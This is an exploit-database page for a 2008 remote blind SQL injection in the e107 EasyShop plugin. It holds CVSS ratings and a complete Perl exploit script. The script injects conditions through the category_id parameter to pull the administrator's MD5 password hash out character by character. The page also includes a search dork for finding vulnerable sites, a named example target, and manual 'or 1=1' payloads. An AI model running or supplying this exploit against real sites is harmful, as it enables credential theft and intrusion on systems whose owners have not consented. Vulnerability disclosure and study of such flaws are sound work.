e107 Plugin EasyShop (category_id) Blind SQL Injection Exploit

2008-10-30 / 2008-10-31
Credit: StAkeR
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl # ------------------------------------------------------------ # e107 (Plugin EasyShop) Remote Blind SQL Injection Exploit # By StAkeR[at]hotmail[dot]it # Dork allinurl: e107_plugins/easyshop/easyshop.php # Example http://www.clan-designs.co.uk # easyshop/easyshop.php?choose_category=1&category_id= or 1=1 # easyshop/easyshop.php?choose_category=1&category_id= and 1=2 # ------------------------------------------------------------ use strict; use warnings; use LWP::UserAgent; use URI::Escape; my ($request,$send,$ord,$hash,$uid) = (undef,undef,undef,undef,1); my $host = shift @ARGV or die "[?] Usage: perl $0 http://[host]\n"; my @chars = (48..57, 97..102); my $http = new LWP::UserAgent; for(0..32) { foreach $ord(@chars) { $send = " or ascii(substring((select user_password from e107_user where user_id=1),$uid,1))=$ord/*"; $send = uri_escape($send); $request = $http->get($host."/e107_plugins/easyshop/easyshop.php?choose_category=1&category_id=-1".$send); if($request->is_success and $request->content !~ /No products available/i) { $hash .= chr($ord); $uid++; } } } if(defined $hash) { print STDOUT "[+] MD5: $hash\n"; exit; } else { print STDOUT "[?] Exploit Failed!\n"; exit; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top